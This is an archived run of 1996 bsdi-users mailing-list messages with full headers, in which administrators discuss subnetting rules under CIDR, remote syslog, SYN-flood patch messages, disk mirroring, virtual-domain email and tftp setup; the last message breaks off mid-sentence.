External Logging > > Is there such a facility for syslog/wtmp/utmp external logging available > or built in to bsdi 2.1? you can specify a hostname in the destination field of syslog.conf. eg: *.* @logginghost.domain.net would send ALL syslog messages to logginghost.domain.net. -- Jon Drukman / jsd@cyborganic.com From VM Fri Nov 8 18:56:15 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1752" "Fri" "8" "November" "1996" "16:35:04" "-0500" "Mike Pelletier" "mikep@comshare.com" nil "36" "Re: All Patches installed and now problems arise" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA12366 for ; Fri, 8 Nov 1996 16:36:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA20733 for bsdi-users-outgoing; Fri, 8 Nov 1996 16:36:18 -0500 (EST) Posted-Date: Fri, 8 Nov 1996 16:35:06 -0500 (EST) In-Reply-To: <199611081719.JAA07555@fish.grin.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pelletier Sender: owner-bsdi-users@lists.gateway.com To: andrew@grin.net cc: bsdi-users@BSDI.COM Subject: Re: All Patches installed and now problems arise Date: Fri, 8 Nov 1996 16:35:04 -0500 (EST) On Fri, 8 Nov 1996 andrew@grin.net wrote: > Same problem here on two of our machines. > > Since Sunday I had to install patches K210-018 - onward becaue someone was > > SYN flooding our web server and taking it down every time we rebooted the > > web server.. > > > > Since the patch install I have noticed weird things happening (like CPU > > utilization going through the roof, system rEBOOTS on its own etc) > > > > I have a feeling it has something to do with the patches but WHICH one is > > the question.. I know we are still getting attacked > > > > Nov 7 15:07:16 nucleus kernel: packet from 127.71.186.57 to 199.45.65.129 > > proto 6 received on ef0; expected lo0 This message is from the source-filtering option that was added along with the SYN flood fixes. The "net.inet.ip.sourcecheck" sysctl option controls this, and it checks to make sure that the interface on which an incoming packet is received corresponds to the interface on which a packet to that source would be transmitted. Since 127.x.x.x is the loopback network, any packets coming in on your ethernet interface with that network can reasonably be assumed to be bogus -- 127-net packets shouldn't be flying around on the ethernet, and if they are, someone's probably trying to do something sneaky to your system. You didn't set up your internal network as 127.71.186.x, did you? I think the BSDI manual should include a reference to RFC-1918... This allocates 10.x.x.x, 172.10.x.x, and 192.168.x.x as "private" networks, not visible to the Internet. It's amazing the number of people I see plucking IP addresses out of thin air... One site I'm working with is using Kodak's network number on their internal network, and no, it's not Kodak. -Mike Pelletier. From VM Fri Nov 8 18:56:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3332" "Fri" "8" "November" "1996" "16:53:12" "-0400" "Dean Anderson" "dean@av8.com" nil "74" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA12940 for ; Fri, 8 Nov 1996 16:52:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA20787 for bsdi-users-outgoing; Fri, 8 Nov 1996 16:50:35 -0500 (EST) X-Authentication-Warning: mustang.oec.com: mail set sender to using -f X-Sender: dean@mail.oec.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: dean@av8.com (Dean Anderson) Sender: owner-bsdi-users@lists.gateway.com To: Mike Pelletier Cc: Kevin Sellars , info-bsdi-users@uunet.uu.net Subject: Re: subnetting class c address Date: Fri, 8 Nov 1996 16:53:12 -0400 At 4:03 PM 11/8/96, Mike Pelletier wrote: >On Fri, 8 Nov 1996, Dean Anderson wrote: > >> At 9:42 AM 11/8/96, Mike Pelletier wrote: >> >Right, this is what it indicates in the Netware CNE course documents, but >> >the point is, it's only ambiguous if you assume a 24 bit mask based on the >> >class-C-ness of the first two bits of the address, and ignore the manually >> >specified subnet mask. There's no ambiguity if the hardware observes the >> >full 26 bits of the netmask. Then, >> >> Except that machines elsewhere on the internet don't know what your >> netmask is. > >So? My Internet firewall is 130.211.50.75, and machines elsewhere on the >internet don't know that it has a 24-bit, rather than a 16-bit, subnet >mask. What's the difference? There is no difference. In the case of the class B, you can't use subnets 130.211.255.x or 130.211.0.x. 130.211.255.255 should be delivered to all subnets. RFC 950 is even more direct: For example, on a Class B network with a 6-bit wide subnet field, an address would be broken down like this: 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |1 0| NETWORK | SUBNET | Host Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Since the bits that identify the subnet are specified by a bitmask, they need not be adjacent in the address. However, we recommend that the subnet bits be contiguous and located as the most significant bits of the local address. From the Assigned Numbers memo [9]: "In certain contexts, it is useful to have fixed addresses with functional significance rather than as identifiers of specific hosts. When such usage is called for, the address zero is to be interpreted as meaning "this", as in "this network". The address of all ones are to be interpreted as meaning "all", as in "all hosts". For example, the address 128.9.255.255 could be interpreted as meaning all hosts on the network 128.9. Or, the address 0.0.0.37 could be interpreted as meaning host 37 on this network." It is useful to preserve and extend the interpretation of these special addresses in subnetted networks. This means the values of all zeros and all ones in the subnet field should not be assigned to actual (physical) subnets. In the example above, the 6-bit wide subnet field may have any value except 0 and 63. RFC 1219 has a somewhat better explanation I think, and also notes that you can use variable subnet masks on the same network number as long as they don't overlap. --Dean Dean Anderson dean@aV8.com | dean@lpf.org We make technology fly! See us for | Stop Software Patents before they Networking, Firewalls, WWW and more. | stop you! Contact me for more info Contact me for services and rates | or send mail to lpf@lpf.org President | President Plain Aviation,Inc | League for Programming Freedom From VM Fri Nov 8 18:56:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["671" "Fri" "8" "November" "1996" "15:50:10" "-0600" "Brian Young" "byoung@oru.edu" nil "26" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA12944 for ; Fri, 8 Nov 1996 16:55:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA20795 for bsdi-users-outgoing; Fri, 8 Nov 1996 16:51:37 -0500 (EST) Message-Id: <199611082150.PAA07169@lib.oru.edu> X-Sender: byoung@oru.edu X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Brian Young Sender: owner-bsdi-users@lists.gateway.com To: Jim Dixon Cc: bsdi-users@BSDI.COM Subject: Re: subnetting class c address Date: Fri, 8 Nov 1996 15:50:10 -0600 (CST) Does anyone have an RFC and where to find it for all this? At 10:02 PM 11/8/96 +0000, you wrote: >On Fri, 8 Nov 1996, Brian Young wrote: > >> Well, I guess if it works, it works. I based what I said on the O'Reilly book: >> TCP/IP Network Administration pg. 35. Sorry for any misimformation. > >This is all fairly recent stuff, of course; if the book is copyright >1994 or earlier, it's probably too old ;-) > >-- >Jim Dixon VBCnet GB Ltd +44 117 929 1316 fax +44 117 927 2015 >http://www.uk.vbc.net VBCnet West +1 408 971 2682 fax +1 408 971 2684 > > > byoung@oru.edu Brian Young Internet Systems Administrator Oral Roberts University From VM Fri Nov 8 18:56:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["222" "Fri" "8" "November" "1996" "17:02:55" "-0500" "Stephen Frost" "sfrost@user2.mnsinc.com" nil "12" "Re: Maildrop lock busy" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA13215 for ; Fri, 8 Nov 1996 17:06:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA20861 for bsdi-users-outgoing; Fri, 8 Nov 1996 17:03:22 -0500 (EST) Message-Id: <199611082202.RAA01595@user2.mnsinc.com> In-Reply-To: <199611081619.QAA00529@moon.vedika.co.in> from "Jayanta Mukherjee" at Nov 8, 96 02:56:58 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: Stephen Frost Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Maildrop lock busy Date: Fri, 8 Nov 1996 17:02:55 -0500 (EST) > > Hi all > > In BSDI 2.0 mailserver I am getting an error "Maildrop lock busy" > What's the soln. for the above? > Kill the process called 'popper' owned by the used-id you're attempting to log in with. Stephen From VM Fri Nov 8 18:56:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["840" "Fri" "8" "November" "1996" "06:54:19" "-0700" "Stephen Fisher" "lithium@cia-g.com" nil "23" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA13220 for ; Fri, 8 Nov 1996 17:06:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA20872 for bsdi-users-outgoing; Fri, 8 Nov 1996 17:04:18 -0500 (EST) In-Reply-To: <199611080445.PAA15823@rebel.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stephen Fisher Sender: owner-bsdi-users@lists.gateway.com To: David Newall cc: Dean Anderson , bsdi-users Subject: Re: subnetting class c address Date: Fri, 8 Nov 1996 06:54:19 -0700 (MST) Yes that is true about the first subnet (.0) but in a case like mine where I just route that onto my ethernet 0 port it works fine. I've never heard about this subnet 3 / ip .63, subnet 3 can't be used in what kind of subnet mask? On Fri, 8 Nov 1996, David Newall wrote: > Dean Anderson wrote: > > subnet 0 can't (shouldn't) be used (x.y.z.0) could be sent to all subnets > > or just subnet 0. > > subnet 3 can't (shouldn't) be used. (x.y.z.255) could be sent to all > > subnets or just subnet 3. > > This is true? It's not how I understand subnets. I do know that host > 63 on subnet 3 is special (it's the broadcast for the complete class C), > and maybe host 0 on subnet 0 is also special, but I did think that otherwise > use of those subnets was kocher. > > [Standard disclaimer: These are my private opinions] > From VM Fri Nov 8 18:56:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1059" "Fri" "8" "November" "1996" "14:03:26" "-0800" "Andrew Longsworth" "andrew@industries.net" nil "39" "Re: Mirroring Hard Drives" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA13224 for ; Fri, 8 Nov 1996 17:06:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA20882 for bsdi-users-outgoing; Fri, 8 Nov 1996 17:04:51 -0500 (EST) Message-Id: In-Reply-To: <199611081444.JAA21585@jparnas.cybercom.net> References: Your message of Thu, 07 Nov 1996 18:02:08 PST. Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Andrew Longsworth Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" Cc: bsdi-users@BSDI.COM Subject: Re: Mirroring Hard Drives Date: Fri, 8 Nov 1996 14:03:26 -0800 At 9:44 AM -0500 11/8/96, Jacob M. Parnas wrote: >Couldn't you newfs or rm -rf the area that you mirror to right before the >mirror? > >Jacob >--- That makes the mirror process a MUCH more processor/disk intensive task, and increases the amount of time an update would take. I have received two solutions to software disk mirroring and a suggestion to use a hardware solution. Here are the two software solutions: A) Thanks to Gordon Henderson for this solution If both drives are the same size, then make sure thay both have the same labels, then dd if=/dev/wd0c of=/dev/wd2c bs=4096k will do the job nicely. B) Thanks to Bill Webb for this solution for the first time dump 0fu - / | ( cd /newroot; restore rf - ) and for each time period afterwards: dump 1fu - / | ( cd /newroot; restore rf - ) For the hardware option, I haven't had time to do a web search, but I'm confident that there is a solution out there for a low cost with a lot of feature. Andrew Less-Puzzled Unix Guy From VM Fri Nov 8 18:56:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["660" "Fri" "8" "November" "1996" "14:03:11" "-0800" "Jon Drukman" "jsd@cyborganic.com" nil "20" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA13491 for ; Fri, 8 Nov 1996 17:11:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA20875 for bsdi-users-outgoing; Fri, 8 Nov 1996 17:04:34 -0500 (EST) Message-Id: <9611081403.ZM2905@oz.cyborganic.com> In-Reply-To: dean@av8.com (Dean Anderson) "Re: subnetting class c address" (Nov 8, 3:19pm) References: X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: "Jon Drukman" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: subnetting class c address Date: Fri, 8 Nov 1996 14:03:11 -0800 On Nov 8, 3:19pm, Dean Anderson wrote: > > There's no ambiguity if the hardware observes the > >full 26 bits of the netmask. Then, > > Except that machines elsewhere on the internet don't know what your netmask is. why should they care? your provider (hopefully) knows to route all that traffic to your router, which will deal with the network/host numbers when it sees the packet. i thought that that was why they invented CIDR in the first place! somebody please correct me if i'm wrong because i'm about to subnet one of our class Cs and i'm totally paranoid about misunderstanding this whole CIDR/subnet thing. -- Jon Drukman / jsd@cyborganic.com From VM Fri Nov 8 18:56:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["282" "Fri" "8" "November" "1996" "17:15:18" "-0500" "system operator" "bsdi@mohawk.net" nil "9" "Re: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA13504 for ; Fri, 8 Nov 1996 17:17:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA20959 for bsdi-users-outgoing; Fri, 8 Nov 1996 17:17:45 -0500 (EST) In-Reply-To: <199611081850.NAA17683@crystal.palace.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: system operator Sender: owner-bsdi-users@lists.gateway.com To: "Matthew R. Sheahan" cc: bsdi-users@BSDI.COM Subject: Re: Virtual Domain Email Date: Fri, 8 Nov 1996 17:15:18 -0500 (EST) > I'm somewhat amused by the tendency for people to avoid touching sendmail.cf > as if it's going to bite them, even when offered simple recipe solutions for > the tasks they need to accomplish. ;) It's not getting bitten; it's the premature greying I don't like. 8-> - ralph From VM Fri Nov 8 18:56:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["160" "Fri" "8" "November" "1996" "17:13:13" "-0500" "system operator" "bsdi@mohawk.net" nil "9" "Re: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA13508 for ; Fri, 8 Nov 1996 17:17:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA20943 for bsdi-users-outgoing; Fri, 8 Nov 1996 17:16:11 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: system operator Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson , bsdi-users@BSDI.COM Subject: Re: Virtual Domain Email Date: Fri, 8 Nov 1996 17:13:13 -0500 (EST) > Did you kill -HUP sendmail so it would read the new .cw file? > > - Ralph ooops. I knew better than that. sorry, got to kill and restart sendmail. - r From VM Fri Nov 8 18:56:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1155" "Fri" "8" "November" "1996" "17:20:18" "-0500" "Bill Warner" "lww@ictech.com" nil "29" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA13788 for ; Fri, 8 Nov 1996 17:19:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA20974 for bsdi-users-outgoing; Fri, 8 Nov 1996 17:21:20 -0500 (EST) Message-Id: <3.0.32.19961108172016.0069acfc@pop.ictech.com> X-Sender: lww@pop.ictech.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Bill Warner Sender: owner-bsdi-users@lists.gateway.com To: dean@av8.com (Dean Anderson) Cc: bsdi-users@BSDI.COM Subject: Re: subnetting class c address Date: Fri, 08 Nov 1996 17:20:18 -0500 At 04:53 PM 11/8/96 -0400, Dean Anderson wrote: > >There is no difference. In the case of the class B, you can't use subnets >130.211.255.x or 130.211.0.x. 130.211.255.255 should be delivered to all >subnets. > >RFC 950 is even more direct: Yikes! RFC 950 is *old*. The world has changed a lot since then. Current practice, per RFC 1812, is to use all definable subnets. RFC 1812 addresses the exact point under discussion in this thread. That is the use of the all-zeros and all-ones subnets. (Denoted as subnets 0 and -1 respectively.) In part: Previous versions of this document also noted that subnet numbers must be neither 0 nor -1, and must be at least two bits in length. In a CIDR world, the subnet number is clearly an extension of the network prefix and cannot be interpreted without the remainder of the prefix. This restriction of subnet numbers is therefore meaningless in view of CIDR and may be safely ignored. See also RFC 1878 for tables of possible subnets. References: Bill From VM Fri Nov 8 18:56:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["489" "Fri" "8" "November" "1996" "17:29:53" "-0500" "system operator" "bsdi@mohawk.net" nil "15" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA14074 for ; Fri, 8 Nov 1996 17:35:26 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA21061 for bsdi-users-outgoing; Fri, 8 Nov 1996 17:33:46 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: system operator Sender: owner-bsdi-users@lists.gateway.com To: Dean Anderson cc: Mike Pelletier , Kevin Sellars , info-bsdi-users@uunet.uu.net Subject: Re: subnetting class c address Date: Fri, 8 Nov 1996 17:29:53 -0500 (EST) > Except that machines elsewhere on the internet don't know what your > netmask is. I don't think they have to, as long as your router knows how to get to the different subnets. Packets from the Internet bound for any of the subnets will all go to that particular router interface. Even for a dual-homed subnet, it's the router's responsibility to let the Internet (other routers) how to get to that subnet. Isn't this why you tell the router about networks and netmasks? - Ralph From VM Fri Nov 8 18:56:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["535" "Fri" "8" "November" "1996" "17:29:38" "-0500" "Bill Warner" "lww@ictech.com" nil "17" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA14079 for ; Fri, 8 Nov 1996 17:35:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA21053 for bsdi-users-outgoing; Fri, 8 Nov 1996 17:30:27 -0500 (EST) Message-Id: <3.0.32.19961108172934.0069c67c@pop.ictech.com> X-Sender: lww@pop.ictech.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Bill Warner Sender: owner-bsdi-users@lists.gateway.com To: "Jon Drukman" Cc: bsdi-users@BSDI.COM Subject: Re: subnetting class c address Date: Fri, 08 Nov 1996 17:29:38 -0500 At 02:03 PM 11/8/96 -0800, Jon Drukman wrote: > >i thought that that was why they invented CIDR in the first place! > >somebody please correct me if i'm wrong because i'm about to subnet one of our >class Cs and i'm totally paranoid about misunderstanding this whole CIDR/subnet >thing. Quite right, Jon. In a CIDR world, all definable subnets are perfectly usable. Under CIDR an IP address is just {, }. Since there is no separate , there can't be any restrictions on its value. Bill From VM Fri Nov 8 18:56:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["231" "Fri" "8" "November" "1996" "17:44:52" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "11" "Re: virtual domain email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA14358 for ; Fri, 8 Nov 1996 17:47:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA21145 for bsdi-users-outgoing; Fri, 8 Nov 1996 17:47:27 -0500 (EST) In-Reply-To: <199611082044.OAA18305@connect.fc.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: Ian cc: bsdi-users@BSDI.COM Subject: Re: virtual domain email Date: Fri, 8 Nov 1996 17:44:52 -0500 (EST) > There is a different way to do this. It is located at: > > http://www.jurai.net/~winter/virtual/email.html > > All the scripts for it are in: > > http://www.jurai.net/~winter/virtual/ This is pretty cool. - rh From VM Fri Nov 8 18:56:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["115" "Fri" "8" "November" "1996" "16:45:20" "-0600" "Raymond Jolin" "ray@intellisys.net" nil "11" "What causes this error message?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA14363 for ; Fri, 8 Nov 1996 17:48:04 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA21121 for bsdi-users-outgoing; Fri, 8 Nov 1996 17:45:07 -0500 (EST) Message-ID: <01BBCD94.3D8C9D60@ray> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: Raymond Jolin Sender: owner-bsdi-users@lists.gateway.com To: "'bsdi-users@bsdi.com'" Subject: What causes this error message? Date: Fri, 8 Nov 1996 16:45:20 -0600 What causes this error message? Unable to get canonical name of client, err = 0 How do I fix it? Thanks Ray From VM Fri Nov 8 18:56:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["196" "Fri" "8" "November" "1996" "15:09:39" "PST" "Tue Pham" "tuep@arthur.laguna.sparta.com" nil "9" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA15185 for ; Fri, 8 Nov 1996 18:17:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA21317 for bsdi-users-outgoing; Fri, 8 Nov 1996 18:10:27 -0500 (EST) Message-Id: <9611082309.AA08588@arthur.arthur.laguna.sparta.com> Precedence: bulk From: tuep@arthur.laguna.sparta.com (Tue Pham) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: subnetting class c address Date: Fri, 8 Nov 96 15:09:39 PST Hello everyone, Please excuse my ignorant for asking this question. We are setting a POP and wonder if we can get by without subnetting our class C address for this pop. Thanks in advance, Tue From VM Fri Nov 8 18:56:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["870" "Fri" "8" "November" "1996" "15:15:17" "-0800" "Steve Edwards" "sedwards@cts.com" nil "38" "tftp access violations" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA15186 for ; Fri, 8 Nov 1996 18:17:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA21343 for bsdi-users-outgoing; Fri, 8 Nov 1996 18:16:20 -0500 (EST) X-Sender: sedwards@tower.sedwards.com Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Steve Edwards Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: tftp access violations Date: Fri, 8 Nov 1996 15:15:17 -0800 (PST) Why am I getting this error when trying to tftp upload a file to my 2.1 host? Error code 2: Access violation Here's what I've done: 1) Added the following to /etc/inetd.conf: tftp dgram udp wait nobody /usr/libexec/tftpd tftpd -l /tftpboot This is supposed to be the non-tcpd format. 2) Send a HUP to inetd. (I also tried kill -9.) 3) Create the tftpboot directory cd / mkdir tftpboot chown root:wheel tftpboot chmod 777 tftpboot 4) Create the file I want to upload into: echo "" >ttt chown root:wheel ttt chmod 777 ttt 5) Download the file to make sure everything is setup correctly: echo get ttt | tftp tower 5) Attempt to upload the file: echo put ttt | tftp tower This is where I get "Error code 2: Access violation." /var/log/ftp.log just says "write request for ttt: Access violation." What am I doing wrong? Steve Edwards sedwards@cts.com From VM Sat Nov 9 18:01:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2603" "Fri" "8" "November" "1996" "16:47:44" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "61" "Re: subnetting class c address " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA16268 for ; Fri, 8 Nov 1996 18:53:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA21483 for bsdi-users-outgoing; Fri, 8 Nov 1996 18:48:44 -0500 (EST) Message-Id: <199611082347.QAA04194@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Fri, 08 Nov 1996 15:19:02 -0400." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: dean@av8.com (Dean Anderson) cc: Mike Pelletier , Kevin Sellars , info-bsdi-users@uunet.uu.net Subject: Re: subnetting class c address Date: Fri, 08 Nov 1996 16:47:44 -0700 Dean Anderson writes: >At 9:42 AM 11/8/96, Mike Pelletier wrote: >>On Thu, 7 Nov 1996, Dean Anderson wrote: >> >>> You set up a subnet mask. Class C has a 24bit mask. You can change the >>> netmask to include more bits in the network part. However, you only get >>> two 62 host networks without creating broadcast ambiguities. >>> >>> 0xffffffc0 is the netmask for interfaces on this subnetted network. >>> >>> subnet 0 can't (shouldn't) be used (x.y.z.0) could be sent to all subnets >>> or just subnet 0. >>> subnet 3 can't (shouldn't) be used. (x.y.z.255) could be sent to all >>> subnets or just subnet 3. >>> >>> Subnet 1 and Subnet 2 can be assigned without ambiguity. >> >>Right, this is what it indicates in the Netware CNE course documents, but >>the point is, it's only ambiguous if you assume a 24 bit mask based on the >>class-C-ness of the first two bits of the address, and ignore the manually >>specified subnet mask. There's no ambiguity if the hardware observes the >>full 26 bits of the netmask. Then, > >Except that machines elsewhere on the internet don't know what your netmask is >. > > --Dean > >Dean Anderson dean@aV8.com | dean@lpf.org >We make technology fly! See us for | Stop Software Patents before they >Networking, Firewalls, WWW and more. | stop you! Contact me for more info >Contact me for services and rates | or send mail to lpf@lpf.org >President | President >Plain Aviation,Inc | League for Programming Freedom > > Fortunately, all of the machines on the internet do not need to know my netmask. My router advertises my class c on its interface to the internet. So packets for my machine end up on my router. My router has four interfaces, the four subnets. It knows the subnet addresses and the netmask 255.255.255.192 for each interface. So my router is able to send the packet to my machine. The restrictions on zeros and ones is that the network address and bcast address cannot be used as a host address. network bcast |-----------| | My Router |--| <- 192.0.0.0 192.0.0.63 | | | |--| <- 192.0.0.64 192.0.0.127 to the internet <------| | | |--| <- 192.0.0.128 192.0.0.191 | | | |--| <- 192.0.0.192 192.0.0.255 |-----------| -Bill N From VM Sat Nov 9 18:01:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["705" "Fri" "8" "November" "1996" "16:35:36" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "26" "Re: Config_dialin Editor " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA16809 for ; Fri, 8 Nov 1996 19:18:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA21602 for bsdi-users-outgoing; Fri, 8 Nov 1996 19:16:46 -0500 (EST) In-Reply-To: <199611082116.OAA03277@tao.bsdi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: Bill Nestlerode cc: bsdi-users@BSDI.COM, billn@tao.BSDI.COM Subject: Re: Config_dialin Editor Date: Fri, 8 Nov 1996 16:35:36 -0800 (PST) Thank you for the response. I have 